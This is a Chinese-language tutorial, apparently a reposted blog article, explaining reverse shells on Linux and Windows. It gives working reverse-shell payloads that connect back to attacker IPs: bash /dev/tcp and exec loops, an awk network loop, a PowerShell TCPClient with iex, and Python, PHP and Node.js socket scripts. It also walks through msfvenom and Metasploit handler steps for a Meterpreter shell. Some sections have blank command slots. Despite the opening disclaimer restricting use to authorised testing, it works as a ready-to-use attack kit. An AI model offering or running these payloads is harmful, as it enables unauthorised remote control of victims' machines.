声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!
一、介绍
1.1 含义
反弹shell / 反向shell / 反弹壳 / 反弹外壳
客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
1.2 目的
- 对方主机在外网无法访问
- 对方主机防火墙限制,只能发送请求,不能接收请求
- 对方IP动态变化
- 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
- 遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
1.3 原理
让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)
- 攻击者A开启19111端口TCP服务
- 受害者B连接19111端口TCP服务
- A、B建立TCP连接
- A通过TCP服务将待执行命令发送到B
- B执行命令后将结果发送给A
二、Linux反弹Shell
2.1 Bash 反弹shell
2.1.1 适用对象
- 目标为Linux系统
2.1.2 操作方法
2.1.3 命令原理
大致介绍:
(漏洞特征!运维可以通过此标志检查主机是否沦陷,以及远控主机是谁!此方法经典但不隐蔽!!!)
命令阐述:
| 命令 | 含义 |
|---|---|
| bash -i | 产生一个交互式的bash shell |
| >& | 将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令) 当>&后边接文件时,表示将表示将标准输入输出重定向到文件 当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符 |
| /dev/tcp/ / | 一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接 |
| 文件描述符 | 0 – stdin,代表标准输入 1 – stdout,代表标准输出 2 – stderr,代表标准错误输出 |
| 0>&1 | 将标准输入重定向到标准输出 |
举例分析:
分析1: 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制!
分析2: 使用输入重定向,将远程攻击者输入的当作命令执行(执行一次就断了)

分析3: 为了获取交互式的shell,需要使用文件描述符0>&1
2.2 Curl 反弹shell
2.2.1 适用对象
- 目标为Linux系统
2.2.2 操作方法
2.2.3 命令原理
2.3 Exec 反弹shell
2.3.1 适用对象
- 目标系统为Linux系统
2.3.2 操作方法
受害者执行
exec 5<>/dev/tcp/192.168.123.192/19111;cat <&5 | while read line; do $line 2>&5 >&5; done
2.4 Awk 弹shell
2.4.1 适用对象
- 目标系统为Linux系统
2.4.2 操作方法
awk 'BEGIN {s = "/inet/tcp/0/192.168.123.192/19111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
2.4.3 长联优点
长联:客户端一直保持向服务端反弹shell的状态
三、Windows 反弹shell
3.1 powershell 反弹shell
3.1.1 适用对象
- 目标系统为Windows系统
3.1.2 操作方法
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',19111);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
四、不同语言 反弹shell
4.1 Python 反弹shell
4.1.1 适用对象
- 目标系统需安装python(Linux / Windows)
4.1.2 操作方法
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.128",19111)) #更改IP为自己的外网IP,端口自定义
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
4.1.3 命令原理
受害者使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行
4.2 PHP反弹shell
4.2.1 适用对象
- 目标系统需安装PHP,如windows下的需要配置PHP环境变量(Linux / Windows)
4.2.2 操作方法
$sock=fsockopen("192.168.159.128",19111); // IP为自己的外网IP,端口自定义 exec("/bin/sh -i <&3 >&3 2>&3"); ?>
4.2.3 命令原理
php使用socket进行shell反向连接
4.3 NodeJS 反弹shell
4.3.1 适用对象
- 目标系统需安装NodeJS,如windows下的需要配置PHP环境变量(Linux / Windows)
4.3.2 操作方法
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(19111, "192.168.1.100", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
五、MSF 反弹shell
5.1 Windows反弹shell(exe)
- windows上反弹Meterpreter shell,详情可参考:MSF –Windows后门之exe文件
5.2 Winsows反弹shell(powershell)
攻击者执行:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=
<当前监听者ip>
LPORT=
<监听者端口>
-f psh-reflection > xxx.ps1
监听者端口>
当前监听者ip>

启动一个http服务(kali)

并将ps1文件移动到站点目录下

开启msf并进行端口监听配置
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.253.129
set lport 19111
exploit/run
受害者执行
Tips1:注意下方执行的是./ 反斜杠
Tips2:需要powershell改变当前执行策略

成功拿到shell

5.3 Linux反弹shell(elf)
- Linux上反弹Meterpreter shell,详情可参考:MSF –Linux后门之elf文件
六、其它 反弹shell
6.1 nc 反弹shell
6.1.1 适用对象
- 目标系统安装netcat
6.1.2 操作方法
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/227123.html原文链接:https://javaforall.net
